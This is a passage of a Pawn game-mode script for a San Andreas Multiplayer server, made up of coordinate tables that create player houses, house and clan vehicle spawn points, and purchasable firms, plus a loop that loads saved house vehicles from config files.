    CreateHouse(77,-2017.375,1017.0167236328,53.966533660889,3,2400000,1,3,false);
    CreateHouse(78,-1975.7094726563,743.6728515625,45.437515258789,6,10000000,5,5,false);
    CreateHouse(79,-2099.6442871094,898.11328125,76.7109375,6,4000000,2,5,false);
    CreateHouse(80,-2160.1000976563,965.37866210938,80.0000000,2,700000,1,1,false);
    CreateHouse(81,-2126.2861328125,1014.2724609375,80.0078125,2,1000000,1,2,false);
    CreateHouse(82,-2725.6584472656,-36.577701568604,7.1953125,3,2000000,2,2,false);
    CreateHouse(83,-2723.0891113281,4.0483794212341,7.20312500,2,1200000,1,2,false);
    CreateHouse(84,-2724.0698242188,-191.32493591309,4.3359375,3,2800000,2,3,false);
    CreateHouse(85,-2689.888671875,-152.7283782959,5,2,1800000,1,3,false);
    CreateHouse(86,-2590.1772460938,-95.569320678711,4.485652923584,5,4500000,2,5,false);
    CreateHouse(87,-2576.6513671875,-145.71029663086,6.6432304382324,4,3000000,1,5,false);
    CreateHouse(88,-2454.8615722656,-135.85400390625,26.177167892456,6,7000000,4,5,false);
    CreateHouse(89,-2430.8188476563,-5.035270690918,35.3203125,4,3800000,2,4,false);
    CreateHouse(90,-2662.0100097656,876.5771484375,79.773796081543,3,8700000,4,4,false);
    CreateHouse(91,-2900.8127441406,1073.8208007813,32.1328125,6,2200000,2,4,true);
    CreateHouse(92,-2853.0300292969,947.53283691406,44.0546875,6,2300000,2,4,true);
    CreateHouse(93,-2700.4372558594,820.33471679688,49.984375,3,3000000,3,5,true);
    CreateHouse(94,-2860.7119140625,963.68432617188,44.0546875,3,4750000,5,5,true);
    CreateHouse(95,-1974.6027832031,825.01983642578,45.359699249268,5,4500000,5,4,true);

    //----- OTHER -----//

    CreateHouse(96,-684.94665527344,939.694091796881,13.6328125,3,11000000,5,5,false);
    CreateHouse(97,-2653.2700195313,-1397.4680175781,265.19671630859,1,7100000,5,5,false);

    //--------------------------------------

    SetHouseVehicleSpawnPos(0, 0,2184.0,-1465.7,25.5,270);
    SetHouseVehicleSpawnPos(0, 1,2465.7,-1406.5,28.8,270);
    SetHouseVehicleSpawnPos(0, 2,2063.0,-1694.5,13.5,270);
    SetHouseVehicleSpawnPos(0, 3,2296.5,-1910.4,13.6,0);
    SetHouseVehicleSpawnPos(0, 4,2473.2,-1702.7,13.5,0);
    SetHouseVehicleSpawnPos(0, 5,2187.0,-1434.8,25.5,270);
    SetHouseVehicleSpawnPos(0, 6,1146.3,-1101,25.8,270);
    SetHouseVehicleSpawnPos(0, 7,322.7,-1773.3,4.8,0);
    SetHouseVehicleSpawnPos(0, 8,1536.1973876,-1846.0269775391,13.546875,0);
    SetHouseVehicleSpawnPos(0, 9,1011.064,-659.207,121.141,34);
    SetHouseVehicleSpawnPos(0,10,953.3,-934,42.8,0);
    SetHouseVehicleSpawnPos(0,11,1793.4,-2129.4,13.5,0);
    SetHouseVehicleSpawnPos(0,12,419.0,-1255,51.6,22);
    SetHouseVehicleSpawnPos(0,13,2029.2,-1058.3,24.7,156);
    SetHouseVehicleSpawnPos(0,14,905.5,-1473.5,13.6,0);
    SetHouseVehicleSpawnPos(0,15,892.7,-1658.6,13.5,0);
    SetHouseVehicleSpawnPos(0,16,1254.8,-804.4,84.1,0);
    SetHouseVehicleSpawnPos(0,17,1516.9,-694.6,94.7,90);
    SetHouseVehicleSpawnPos(0,18,2176.0,-1678,14.7,346);
    SetHouseVehicleSpawnPos(0,19,2224.9,-1042.2,58.13,316);
    SetHouseVehicleSpawnPos(0,20,697.87298584,-1641.49328613,3.41861820,270);
    SetHouseVehicleSpawnPos(0,21,283.52435303,-1160.76708984,80.91406250,225);
    SetHouseVehicleSpawnPos(0,22,2514.93041992,-1680.82275391,13.59000015,48);
    SetHouseVehicleSpawnPos(0,23,2475.84033203,-964.06964111,80.20323944,180);
    SetHouseVehicleSpawnPos(0,24,2592.26904297,-948.39459229,81.38809204,194);
    SetHouseVehicleSpawnPos(0,25,2782.63549805,-1929.72021484,13.54687500,0);
    SetHouseVehicleSpawnPos(0,26,1134.59326172,-2074.94702148,69.00781250,0);
    SetHouseVehicleSpawnPos(0,27,668.18090820,-1479.84252930,14.85156250,270);
    SetHouseVehicleSpawnPos(0,28,479.90142822,-1088.36560059,82.48977661,0);
    SetHouseVehicleSpawnPos(0,29,1108.41870117,-730.62237549,100.63192902,90);

    SetHouseVehicleSpawnPos(1, 6,1136.80078125,-1083.36621094,26.01714325,270);
    SetHouseVehicleSpawnPos(1, 8,1532.6141357422,-1845.9989013672,13.546875,0);
    SetHouseVehicleSpawnPos(1, 9,1006.209,-662.965,121.148,34);
    SetHouseVehicleSpawnPos(1,10,973.59960938,-913.89941406,45.51247787,94);
    SetHouseVehicleSpawnPos(1,11,1799.60058594,-2119.38085938,13.61085701,270);
    SetHouseVehicleSpawnPos(1,16,1243.00000000,-804.95642089844,84.140625,180);
    SetHouseVehicleSpawnPos(1,17,1486.0311279297,-696.77575683594,94.75,270);
    SetHouseVehicleSpawnPos(1,21,287.75335693359,-1157.0274658203,80.909896850586,225);
    SetHouseVehicleSpawnPos(1,26,1130.14135742,-2074.84155273,69.0078125,0);
    SetHouseVehicleSpawnPos(1,28,490.01400756836,-1082.9193115234,82.319007873535,90);
    SetHouseVehicleSpawnPos(1,29,1108.48840332,-733.81060791,100.63192902,90);

    SetHouseVehicleSpawnPos(2, 8,1526.26855469,-1846.60839844,13.45839119,0);
    SetHouseVehicleSpawnPos(2, 9,963.28265380859,-675.98516845703,121.14418029785,300);
    SetHouseVehicleSpawnPos(2,16,1248.9,-804.39941406,84.09999847,180);
    SetHouseVehicleSpawnPos(2,21,291.584,-1149.520,80.910,180);
    SetHouseVehicleSpawnPos(2,26,1127.986,-1999.12805176,69.00781250,180);
    SetHouseVehicleSpawnPos(2,28,505.42892456,-1082.70764160,81.52736664,286);

    SetHouseVehicleSpawnPos(3,16,1307.71081543,-814.38635254,77.50228119,224);
    SetHouseVehicleSpawnPos(3,26,1125.58007812,-2074.95410156,69.00781250,0);

    SetHouseVehicleSpawnPos(4,26,1134.25976562,-1999.14648438,69.00781250,180);

    SetHouseVehicleSpawnPos(0,30,256.23464966,-1232.16662598,73.15098572,303.00000000);
    SetHouseVehicleSpawnPos(1,30,251.23402405,-1226.18066406,74.74387360,302.99743652);
    SetHouseVehicleSpawnPos(2,30,253.87890625,-1229.15332031,73.89044952,302.99743652);
    SetHouseVehicleSpawnPos(0,31,276.69918823,-1250.60852051,73.71346283,308.00000000);
    SetHouseVehicleSpawnPos(1,31,280.19238281,-1255.49804688,73.71994019,307.99621582);
    SetHouseVehicleSpawnPos(2,31,278.50238037,-1266.49755859,73.75028992,303.00000000);
    SetHouseVehicleSpawnPos(0,32,290.86502075,-1544.45751953,24.39872551,55.00000000);
    SetHouseVehicleSpawnPos(1,32,282.42187500,-1531.79199219,24.39872551,234.99755859);
    SetHouseVehicleSpawnPos(2,32,288.60742188,-1523.08300781,24.39872551,234.99755859);
    SetHouseVehicleSpawnPos(3,32,297.33618164,-1535.76464844,24.39872551,54.99755859);
    SetHouseVehicleSpawnPos(4,32,294.08605957,-1540.05798340,24.39872551,54.99755859);
    SetHouseVehicleSpawnPos(0,33,1092.55065918,-826.11047363,86.74502563,92.00000000);
    SetHouseVehicleSpawnPos(1,33,1092.78500000,-785.39100000,106.9860000,24.0000000);
    SetHouseVehicleSpawnPos(0,34,2279.52416992,4.54713535,27.27372551,180.00000000);
    SetHouseVehicleSpawnPos(0,35,2402.80859375,106.49090576,27.05515480,180.00000000);
    SetHouseVehicleSpawnPos(1,35,2406.51513672,106.44256592,27.04730988,180.00000000);
    SetHouseVehicleSpawnPos(0,36,2265.08544922,106.21409607,27.01117706,180.00000000);
    SetHouseVehicleSpawnPos(1,36,2261.36962891,106.17642212,27.00507355,180.00000000);
    SetHouseVehicleSpawnPos(0,37,2549.24047852,81.48751831,26.28153801,90.00000000);
    SetHouseVehicleSpawnPos(0,38,2553.18066406,14.28227520,26.84155273,90.00000000);
    SetHouseVehicleSpawnPos(1,38,2553.20874023,9.65338326,26.84184074,90.00000000);
    SetHouseVehicleSpawnPos(0,39,2424.34960938,-55.49951172,27.16365051,0.00000000);
    SetHouseVehicleSpawnPos(0,40,2190.07641602,-80.21631622,27.27372551,270.00000000);
    SetHouseVehicleSpawnPos(0,41,-2148.63012695,-2543.36621094,30.42216301,320.00000000);
    SetHouseVehicleSpawnPos(0,42,-2125.26806641,-2503.66650391,30.42216301,232.00000000);
    SetHouseVehicleSpawnPos(0,43,2770.17089844,-1606.62695312,10.72685051,270.00000000);
    SetHouseVehicleSpawnPos(1,43,2770.40332031,-1615.39843750,10.72685051,270.00000000);
    SetHouseVehicleSpawnPos(2,43,2771.67700195,-1621.15209961,10.72685051,270.00000000);
    SetHouseVehicleSpawnPos(3,43,2771.58300781,-1624.91503906,10.73213100,270.00000000);
    SetHouseVehicleSpawnPos(4,43,2790.38256836,-1624.69226074,10.72685051,90.00000000);
    SetHouseVehicleSpawnPos(0,44,1362.92468262,-620.70343018,108.93778992,106.00000000);
    SetHouseVehicleSpawnPos(1,44,1361.58837891,-615.95507812,108.93778992,105.99609375);
    SetHouseVehicleSpawnPos(2,44,1360.19726562,-610.69830322,108.93778992,105.99609375);

    SetHouseVehicleSpawnPos(0,45,733.52252197,-1297.13867188,13.57046604,270.00000000);
    SetHouseVehicleSpawnPos(1,45,732.77410889,-1262.49963379,13.55340195,270.00000000);
    SetHouseVehicleSpawnPos(2,45,732.61328125,-1268.83398438,13.55340195,270.00000000);
    SetHouseVehicleSpawnPos(3,45,733.40722656,-1283.78125000,13.56798363,270.00000000);
    SetHouseVehicleSpawnPos(4,45,733.40722656,-1289.77050781,13.56944656,270.00000000);
    SetHouseVehicleSpawnPos(0,46,837.27636719,-1550.53784180,13.48447323,0.00000000);
    SetHouseVehicleSpawnPos(1,46,815.13165283,-1550.10363770,13.54931641,0.00000000);
    SetHouseVehicleSpawnPos(2,46,823.82403564,-1550.22949219,13.51451874,0.00000000);
    SetHouseVehicleSpawnPos(3,46,843.99505615,-1550.34960938,13.47102833,0.00000000);
    SetHouseVehicleSpawnPos(0,47,2252.53735352,-1773.26550293,13.54687500,270.00000000);
    SetHouseVehicleSpawnPos(1,47,2252.61621094,-1791.24218750,13.54687500,270.00000000);
    SetHouseVehicleSpawnPos(2,47,2252.86230469,-1781.83886719,13.54687500,270.00000000);
    SetHouseVehicleSpawnPos(3,47,2252.25537109,-1809.24536133,13.54687500,270.00000000);
    SetHouseVehicleSpawnPos(4,47,2252.47851562,-1801.20703125,13.54687500,270.00000000);
    SetHouseVehicleSpawnPos(0,48,2461.06860352,-1897.35839844,13.54687500,0.00000000);
    SetHouseVehicleSpawnPos(1,48,2466.72119141,-1897.32263184,13.54687500,0.00000000);
    SetHouseVehicleSpawnPos(2,48,2453.56250000,-1897.54455566,13.54687500,0.00000000);
    SetHouseVehicleSpawnPos(0,49,261.75793457,-1372.26623535,53.10937500,304.00000000);
    SetHouseVehicleSpawnPos(1,49,251.41699219,-1359.51074219,53.10937500,303.99719238);
    SetHouseVehicleSpawnPos(2,49,249.01855469,-1355.82128906,53.10937500,303.99719238);
    SetHouseVehicleSpawnPos(3,49,264.26779175,-1376.03063965,53.10937500,303.99719238);

    //----- SF -----//

    SetHouseVehicleSpawnPos(0,50,-1856.26159668,1111.88635254,45.44531250,180.00000000);
    SetHouseVehicleSpawnPos(1,50,-1863.71643066,1111.16259766,45.44531250,180.00000000);
    SetHouseVehicleSpawnPos(2,50,-1870.02551270,1111.10009766,45.44531250,180.00000000);
    SetHouseVehicleSpawnPos(0,51,-1817.21630859,1111.78283691,45.44531250,180.00000000);
    SetHouseVehicleSpawnPos(1,51,-1824.99633789,1111.89013672,45.44531250,180.00000000);
    SetHouseVehicleSpawnPos(2,51,-1829.19702148,1111.82324219,45.43751526,180.00000000);
    SetHouseVehicleSpawnPos(3,51,-1833.13000488,1111.87426758,45.44531250,180.00000000);
    SetHouseVehicleSpawnPos(4,51,-1814.42121024,1111.70541254,45.44531250,180.00000000);
    SetHouseVehicleSpawnPos(0,52,-1698.94653320,1026.58471680,45.20402908,90.00000000);
    SetHouseVehicleSpawnPos(1,52,-1699.21289062,1022.75189209,45.21093750,90.00000000);
    SetHouseVehicleSpawnPos(2,52,-1699.67443848,1030.09704590,45.21093750,90.00000000);
    SetHouseVehicleSpawnPos(0,53,-1978.49316406,1276.31054688,7.18750000,0.00000000);
    SetHouseVehicleSpawnPos(1,53,-1974.65332031,1276.19726562,7.18750000,0.00000000);
    SetHouseVehicleSpawnPos(2,53,-1966.24157715,1276.30065918,7.18750000,0.00000000);
    SetHouseVehicleSpawnPos(0,54,-1993.47668457,1276.31457520,7.18750000,0.00000000);
    SetHouseVehicleSpawnPos(1,54,-2000.69238281,1276.47949219,7.18750000,0.00000000);
    SetHouseVehicleSpawnPos(0,55,-1985.66174316,1186.65991211,45.44531250,180.00000000);
    SetHouseVehicleSpawnPos(1,55,-1989.55761719,1186.77075195,45.44531250,180.00000000);
    SetHouseVehicleSpawnPos(2,55,-1978.33630371,1186.90502930,45.44531250,180.00000000);
    SetHouseVehicleSpawnPos(3,55,-1974.47961426,1187.12036133,45.44531250,180.00000000);
    SetHouseVehicleSpawnPos(0,56,-2033.64599609,1279.68872070,7.26832867,0.00000000);
    SetHouseVehicleSpawnPos(1,56,-2020.06152344,1279.94702148,7.18750000,0.00000000);
    SetHouseVehicleSpawnPos(0,57,-2142.46044922,1251.81542969,23.66645432,0.00000000);
    SetHouseVehicleSpawnPos(1,57,-2137.87988281,1251.55505371,23.02002716,0.00000000);
    SetHouseVehicleSpawnPos(0,58,-2379.78369141,1231.76293945,32.48460007,270.00000000);
    SetHouseVehicleSpawnPos(0,59,-2379.65209961,1286.95275879,22.24169922,270.00000000);
    SetHouseVehicleSpawnPos(0,60,-2379.50585938,1250.32128906,28.92265511,270.00000000);
    SetHouseVehicleSpawnPos(0,61,-2354.47631836,1250.40087891,28.62996483,90.00000000);
    SetHouseVehicleSpawnPos(0,62,-2354.82641602,1332.18615723,13.66539955,90.00000000);
    SetHouseVehicleSpawnPos(1,62,-2353.80273438,1342.23828125,11.42816925,90.00000000);
    SetHouseVehicleSpawnPos(0,63,-2377.25122070,1122.36145020,55.72656250,161.99987793);
    SetHouseVehicleSpawnPos(1,63,-2366.90136719,1118.09667969,55.73327637,161.99890137);
    SetHouseVehicleSpawnPos(0,64,-2435.02539062,1137.40893555,55.72656250,176.00000000);
    SetHouseVehicleSpawnPos(0,65,-2567.77978516,1148.20288086,55.72656250,158.00000000);
    SetHouseVehicleSpawnPos(1,65,-2560.94580078,1144.85778809,55.72656250,163.99981689);
    SetHouseVehicleSpawnPos(2,65,-2557.16870117,1144.35949707,55.72656250,161.99841309);
    SetHouseVehicleSpawnPos(0,66,-2515.38305664,1011.43566895,78.34375000,90.00000000);
    SetHouseVehicleSpawnPos(0,67,-2514.68017578,984.12652588,78.34375000,90.00000000);
    SetHouseVehicleSpawnPos(1,67,-2514.62500000,996.21289062,78.33219910,90.00000000);
    SetHouseVehicleSpawnPos(0,68,-2476.05249023,915.40161133,63.30436325,270.00000000);
    SetHouseVehicleSpawnPos(1,68,-2464.41210938,917.71093750,62.91542053,180.00000000);
    SetHouseVehicleSpawnPos(0,69,-2407.43530273,917.52185059,45.53590393,180.00000000);
    SetHouseVehicleSpawnPos(1,69,-2416.20800781,917.10900879,45.62588120,180.00000000);
    SetHouseVehicleSpawnPos(0,70,-2425.53295898,897.65216064,48.26539993,0.00000000);
    SetHouseVehicleSpawnPos(0,71,-2372.48022461,756.23303223,34.91183853,90.00000000);
    SetHouseVehicleSpawnPos(1,71,-2372.34863281,770.39453125,34.92797852,90.00000000);
    SetHouseVehicleSpawnPos(0,72,-2275.36596680,763.38336182,49.44531250,0.00000000);
    SetHouseVehicleSpawnPos(1,72,-2275.62231445,772.56750488,49.44531250,270.00000000);
    SetHouseVehicleSpawnPos(0,73,-2117.46557617,819.48156738,69.56250000,180.00000000);
    SetHouseVehicleSpawnPos(1,73,-2121.91284180,819.52026367,69.56250000,180.00000000);
    SetHouseVehicleSpawnPos(2,73,-2109.22167969,819.17163086,69.56250000,180.00000000);
    SetHouseVehicleSpawnPos(3,73,-2105.05615234,819.05798340,69.56250000,180.00000000);
    SetHouseVehicleSpawnPos(0,74,-2013.69775391,853.79998779,45.44531250,270.00000000);
    SetHouseVehicleSpawnPos(1,74,-2013.91064453,845.06872559,45.44531250,270.00000000);
    SetHouseVehicleSpawnPos(0,75,-2014.14184570,965.19708252,45.44531250,270.00000000);
    SetHouseVehicleSpawnPos(0,76,-2014.29956055,994.69854736,49.92538071,270.00000000);
    SetHouseVehicleSpawnPos(0,77,-2014.92016602,1011.64190674,52.98245239,270.00000000);
    SetHouseVehicleSpawnPos(0,78,-1978.58496094,739.57818604,45.44531250,180.00000000);
    SetHouseVehicleSpawnPos(1,78,-1982.48364258,739.61895752,45.44531250,180.00000000);
    SetHouseVehicleSpawnPos(2,78,-1986.33959961,739.57330322,45.44531250,180.00000000);
    SetHouseVehicleSpawnPos(3,78,-1972.80090332,739.27709961,45.43751526,180.00000000);
    SetHouseVehicleSpawnPos(4,78,-1968.57751465,739.19378662,45.44531250,180.00000000);
    SetHouseVehicleSpawnPos(0,79,-2107.12866211,901.14202881,76.71093750,0.00000000);
    SetHouseVehicleSpawnPos(1,79,-2103.86230469,901.21582031,76.71093750,0.00000000);
    SetHouseVehicleSpawnPos(0,80,-2156.40380859,960.71984863,80.00000000,270.00000000);
    SetHouseVehicleSpawnPos(0,81,-2129.97998047,1019.00018311,80.00000000,90.00000000);
    SetHouseVehicleSpawnPos(0,82,-2719.34985352,-33.78232193,4.33593750,270.00000000);
    SetHouseVehicleSpawnPos(1,82,-2718.17065430,-39.70706558,4.34323502,270.00000000);
    SetHouseVehicleSpawnPos(0,83,-2718.15332031,6.84327984,4.33593750,270.00000000);
    SetHouseVehicleSpawnPos(0,84,-2718.02172852,-195.33134460,4.33593750,270.00000000);
    SetHouseVehicleSpawnPos(1,84,-2718.00488281,-187.98730469,4.33593750,270.00000000);
    SetHouseVehicleSpawnPos(0,85,-2694.47998047,-147.36338806,4.33593750,90.00000000);
    SetHouseVehicleSpawnPos(0,86,-2594.05322266,-100.76798248,4.19765472,90.00000000);
    SetHouseVehicleSpawnPos(1,86,-2593.91308594,-90.76171875,4.20206261,90.00000000);
    SetHouseVehicleSpawnPos(0,87,-2581.14819336,-142.35159302,6.25460005,0.00000000);
    SetHouseVehicleSpawnPos(0,88,-2458.18164062,-122.71624756,25.94031525,90.00000000);
    SetHouseVehicleSpawnPos(1,88,-2458.23144531,-127.21972656,25.94524765,90.00000000);
    SetHouseVehicleSpawnPos(2,88,-2457.99218750,-118.51171875,25.95055580,90.00000000);
    SetHouseVehicleSpawnPos(3,88,-2458.42651367,-131.82304382,25.94808197,90.00000000);
    SetHouseVehicleSpawnPos(0,89,-2427.97851562,-10.33040619,35.32031250,0.00000000);
    SetHouseVehicleSpawnPos(1,89,-2428.15454102,-0.50003052,35.32031250,0.00000000);
    SetHouseVehicleSpawnPos(0,90,-2679.63769531,868.51867676,76.87539673,0.00000000);
    SetHouseVehicleSpawnPos(1,90,-2679.86523438,889.68395996,79.70986176,280.00000000);
    SetHouseVehicleSpawnPos(2,90,-2672.36230469,891.44476318,79.70312500,283.99658203);
    SetHouseVehicleSpawnPos(3,90,-2664.78149414,893.40319824,79.70312500,283.99658203);
    SetHouseVehicleSpawnPos(0,91,-2897.80615234,1077.69006348,31.97447014,270.00000000);
    SetHouseVehicleSpawnPos(1,91,-2897.80029297,1070.25988770,32.03125763,270.00000000);
    SetHouseVehicleSpawnPos(0,92,-2850.52685547,952.68524170,44.05419159,294.00000000);
    SetHouseVehicleSpawnPos(1,92,-2848.28613281,946.22949219,44.05707169,293.99963379);
    SetHouseVehicleSpawnPos(0,93,-2705.19018555,818.67132568,49.98437500,90.00000000);
    SetHouseVehicleSpawnPos(1,93,-2696.01586914,818.58526611,49.98437500,90.00000000);
    SetHouseVehicleSpawnPos(2,93,-2688.72045898,818.65521240,49.98437500,90.00000000);
    SetHouseVehicleSpawnPos(0,94,-2858.23510742,968.78656006,43.92936707,296.00000000);
    SetHouseVehicleSpawnPos(1,94,-2854.93017578,962.18200684,43.98832703,295.99914551);
    SetHouseVehicleSpawnPos(2,94,-2879.26708984,957.00915527,43.91698456,26.00000000);
    SetHouseVehicleSpawnPos(3,94,-2872.10937500,962.76562500,43.91451263,295.99914551);
    SetHouseVehicleSpawnPos(4,94,-2870.30859375,959.20214844,43.91756439,295.99914551);
    SetHouseVehicleSpawnPos(0,95,-1981.01574707,829.04296875,45.44531250,0.00000000);
    SetHouseVehicleSpawnPos(1,95,-1977.66113281,829.10351562,45.44531250,0.00000000);
    SetHouseVehicleSpawnPos(2,95,-1984.47851562,829.05334473,45.44531250,0.00000000);
    SetHouseVehicleSpawnPos(3,95,-1966.20275879,829.57604980,44.73786163,0.00000000);
    SetHouseVehicleSpawnPos(4,95,-1969.67578125,829.68164062,45.29697418,0.00000000);

    //----- OTHER -----//

    SetHouseVehicleSpawnPos(0,96,-687.68322754,964.85314941,12.14538670,0.00000000);
    SetHouseVehicleSpawnPos(1,96,-674.27636719,964.30859375,12.13281250,0.00000000);
    SetHouseVehicleSpawnPos(2,96,-678.61914062,964.53613281,12.13281250,0.00000000);
    SetHouseVehicleSpawnPos(3,96,-682.79199219,964.44531250,12.13281250,0.00000000);
    SetHouseVehicleSpawnPos(4,96,-674.23791504,951.50134277,12.39781284,90.00000000);
    SetHouseVehicleSpawnPos(0,97,-2633.09399414,-1376.45947266,260.39559937,42.00000000);
    SetHouseVehicleSpawnPos(1,97,-2630.24609375,-1373.83215332,260.93457031,31.99523926);
    SetHouseVehicleSpawnPos(2,97,-2627.31518555,-1371.88745117,261.44226074,25.99365234);
    SetHouseVehicleSpawnPos(3,97,-2620.61596680,-1369.50634766,262.51318359,13.99365234);
    SetHouseVehicleSpawnPos(4,97,-2623.78515625,-1370.38574219,261.99874878,13.99108887);

    print("* Houses has been created!");

    //+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

    print("Creating house vehicles...");

    for(new h=0; h<MAX_HOUSES; h++)
    {
        for(new s=0; s<HouseStates[h][Vehicles]; s++)
        {
            new way[32];
            format(way,32,"SL/Server/Houses/House%d.cfg", h);
            new v_id[16];
            format(v_id,16,"V%d_id",s);
            if(dini_Int(way, v_id) != 0) CreateHouseVehicle(s, h, dini_Int(way,v_id), 9999);

            CarNeons[s][h] = false;
        }
    }

    print("* House vehicles has been created!");

    //--------------------------------------


    print("Creating firms...");

    CreateFirm(0, -1980.16110000,618.0680000,35.1710000, 1850000, 1);
    CreateFirm(1 ,1010.1678466797,-1302.5989990234,13.3828125, 1200000, 0);
    CreateFirm(2 ,1444.7578125,-1383.2119140625,13.769836425781, 480000, 5);
    CreateFirm(3 ,1642.3913574219,-1458.4545898438,13.546875, 1750000, 3);
    CreateFirm(4 ,2311.2834472656,-1232.5100097656,24.031679153442, 1000000, 2);
    CreateFirm(5 ,1702.7056884766,-1472.2935791016,13.546875, 1900000, 1);
    CreateFirm(6 ,2388.0466308594,-1543.1628417969,24.0000000, 1200000, 4);
    CreateFirm(7 ,2500.7907714844,-1752.9959716797,13.425756454468, 900000, 2);
    CreateFirm(8 ,2731.3461914063,-2001.7789306641,13.547200202942, 1400000, 3);
    CreateFirm(9 ,2249.4907226563,-2401.8940429688,13.546875, 2000000, 1);
    CreateFirm(10,2056.8740234375,-2151.6867675781,13.6328125, 2050000, 0);
    CreateFirm(11,501.16101074219,-1734.7707519531,11.515629768372, 1400000, 2);
    CreateFirm(12,372.06915283203,-1346.4504394531,14.556182861328, 1205000, 3);
    CreateFirm(13,441.61260986328,-1298.41796875,15.183604240417, 1400000, 3);
    CreateFirm(14,775.97442626953,-1015.9140014648,26.359375, 2000000, 1);
    CreateFirm(15,1796.7783203125,-1145.8758544922,23.909679412842, 1800000, 0);
    CreateFirm(16,2148.5427246094,-1198.4576416016,23.884548187256, 1000000, 4);
    CreateFirm(17,2071.2666015625,-1784.7763671875,13.555749893188, 540000, 6);
    CreateFirm(18,1764.1497802734,-1927.0947265625,13.569055557251, 2800000, 1);
    CreateFirm(19,1398.1022949219,-1601.7431640625,13.546875, 800000, 7);
    CreateFirm(20,1047.4584960938,-1418.7485351563,13.546875, 1800000, 8);
    CreateFirm(21,2095.8493652344,-1885.4486083984,13.546875, 1480000, 8);
    CreateFirm(22,1352.5002441406,-1758.6263427734,13.5078125, 600000, 7);
    CreateFirm(23,1611.6186523438,-1893.75390625,13.546875, 1500000, 8);
    CreateFirm(24,1654.9486083984,-1863.8358154297,13.534408569336, 2000000, 3);
    CreateFirm(25,-2204.5085449219,-2253.4982910156,30.683422088623, 1200000, 4);
    CreateFirm(26,-2093.3950195313,-2261.7500000000,30.6250000000, 1420000, 1);
    CreateFirm(27,-39.332530975342,-2499.3522949219,36.56583404541, 1100000, 4);
    CreateFirm(28,92.246025085449,-153.57783508301,2.5783405303955, 1500000, 4);
    CreateFirm(29,-1744.0324707031,-21.637891769409,3.5546875, 1850000, 1);
    CreateFirm(30,-1839.6997070313,-75.17008972168,15.109375, 1950000, 3);
    CreateFirm(31,-1708.2048339844,399.77105712891,7.1796875, 1000000, 4);
    CreateFirm(32,-1581.6362304688,947.74639892578,7.1875, 300000, 5);
    CreateFirm(33,-1787.2574462891,1205.5864257813,25.125, 2250000, 3);
    CreateFirm(34,-1964.3096923828,537.85607910156,35.171875, 2280000, 1);
    CreateFirm(35,-1965.3292236328,432.73907470703,35.171875, 1990000, 2);
    CreateFirm(36,-1922.6130371094,243.22233581543,41.046875, 2000000, 3);
    CreateFirm(37,-2135.6904296875,-84.948989868164,35.3203125, 1400000, 2);
    CreateFirm(38,-2589.041015625,59.81812286377,4.3359375, 2000000, 8);
    CreateFirm(39,-2494.1354980469,154.90292358398,8.1379528045654, 1820000, 3);
    CreateFirm(40,-2460.0539550781,786.81561279297,35.171875, 1400000, 2);
    CreateFirm(41,-2228.0258789063,1190.0281982422,55.7265625, 1700000, 8);
    CreateFirm(42,-1851.9466552734,1330.2547607422,7.1796875, 700000, 6);
    CreateFirm(43,-1741.7796630859,1428.4658203125,7.1875, 1900000, 0);
    CreateFirm(44,-1699.3509521484,885.36499023438,24.890625, 1800000, 0);
    CreateFirm(45,-2458.2312011719,1069.3317871094,55.777221679688, 1900000, 0);
    CreateFirm(46,-2465.5817871094,1069.6608886719,55.781799316406, 1800000, 3);
    CreateFirm(47,-2437.3354492188,1031.6130371094,50.390625, 1630000, 0);
    CreateFirm(48,-2284.6928710938,580.92840576172,35.1640625, 1400000, 4);
    CreateFirm(49,-2052.875,147.56234741211,28.8359375, 1200000, 4);
    CreateFirm(50,-2071.7038574219,10.719058990479,35.3203125, 1700000, 1);

    print("* Firms has been created!");

    //--------------------------------------

    print("Creating clans...");

    SetClanVehicleSpawnPos(0,0,1764.09887695,-1902.71838379,13.56568718,0.00000000);
    SetClanVehicleSpawnPos(1,0,1759.32617188,-1902.60351562,13.56446552,0.00000000);
    SetClanVehicleSpawnPos(2,0,1766.55615234,-1888.36267090,13.55397034,180.00000000);
    SetClanVehicleSpawnPos(3,0,1757.14453125,-1888.29687500,13.55626774,180.00000000);
    SetClanVehicleSpawnPos(4,0,1761.84960938,-1888.27343750,13.55511856,180.00000000);
    SetClanVehicleSpawnPos(0,1,2847.33666992,-1557.71240234,11.09375000,270.00000000);
    SetClanVehicleSpawnPos(1,1,2854.16430664,-1526.80712891,11.10013485,180.00000000);
    SetClanVehicleSpawnPos(2,1,2847.29443359,-1549.88500977,11.09375000,270.00000000);
    SetClanVehicleSpawnPos(3,1,2847.14575195,-1546.14990234,11.09375000,270.00000000);
    SetClanVehicleSpawnPos(4,1,2847.29101562,-1553.96289062,11.09375000,270.00000000);
    SetClanVehicleSpawnPos(0,2,850.38946533,-1623.22851562,13.53315067,0.00000000);
    SetClanVehicleSpawnPos(1,2,846.94024658,-1623.37744141,13.54539490,0.00000000);
    SetClanVehicleSpawnPos(2,2,843.38208008,-1623.26464844,13.54687500,0.00000000);
    SetClanVehicleSpawnPos(3,2,831.77130127,-1628.90295410,13.54687500,320.00000000);
    SetClanVehicleSpawnPos(4,2,851.60839844,-1611.45410156,13.54687500,90.00000000);
    SetClanVehicleSpawnPos(0,3,497.37646484,-1775.97668457,5.53483105,180.00000000);
    SetClanVehicleSpawnPos(1,3,477.37597656,-1775.97656250,5.53483105,180.00000000);
    SetClanVehicleSpawnPos(2,3,481.37597656,-1775.97656250,5.53483105,180.00000000);
    SetClanVehicleSpawnPos(3,3,485.37597656,-1775.97656250,5.53483105,180.00000000);
    SetClanVehicleSpawnPos(4,3,493.37597656,-1775.97656250,5.53483105,180.00000000);
    SetClanVehicleSpawnPos(0,4,1322.69360352,-1449.68518066,13.48309040,270.00000000);
    SetClanVehicleSpawnPos(1,4,1322.78820801,-1463.99902344,13.54687500,270.00000000);
    SetClanVehicleSpawnPos(2,4,1322.86083984,-1460.52661133,13.54687500,270.00000000);
    SetClanVehicleSpawnPos(3,4,1322.81774902,-1456.93286133,13.54687500,270.00000000);
    SetClanVehicleSpawnPos(4,4,1322.89379883,-1453.33386230,13.54687500,270.00000000);
    SetClanVehicleSpawnPos(0,5,-2053.61889648,382.89749146,35.17187500,0.00000000);
    SetClanVehicleSpawnPos(1,5,-2049.78125000,382.78710938,35.17187500,0.00000000);
    SetClanVehicleSpawnPos(2,5,-2066.44653320,382.60827637,35.17187500,0.00000000);
